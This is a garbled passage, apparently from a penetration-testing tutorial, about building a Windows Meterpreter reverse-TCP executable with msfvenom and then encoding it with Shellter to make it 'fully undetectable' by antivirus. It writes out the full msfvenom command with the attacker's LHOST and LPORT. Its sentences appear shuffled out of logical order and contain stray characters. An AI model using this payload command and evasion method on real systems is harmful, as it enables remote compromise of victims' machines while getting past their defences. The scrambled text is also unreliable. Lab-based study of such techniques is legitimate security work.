Note that antiviruses also check the behavior of executables and employ techniques such as heuristics scanning, so they are not just limited to checking for signatures. Shellter works by changing the executable’s signatures from the obviously malicious one to a completely new and unique one that can bypass detection. To encode our executable, we’ll be using Shellter. Making the executable FUD (fully undetectable)
We will encode it to make it fully undetectable, or FUD. We have to figure out a way to modify it to bypass antivirus detection. Our file will thus be flagged as malicious once within the Windows environment. exe generation:Īntivirus solutions work by detecting malicious signatures within executables. The screenshot below shows the output of the command on successful. To obtain our IP address, we use the ifconfig command within Kali, specifying the interface as eth0 (since we are on Ethernet): In our case, the LHOST is the IP address of our attacking Kali Linux machine and the LPORT is the port to listen on for a connection from the target once it has been compromised.
exe, and the local host (LHOST) and local port (LPORT) have to be defined. The format must be specified as being type. The command instructs msfvenom to generate a 32-bit Windows executable file that implements a reverse TCP connection for the payload. Msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.100.4 LPORT=4444 -o /root/something32.exe To create the executable, you would use msfvenom as shown in the command below:
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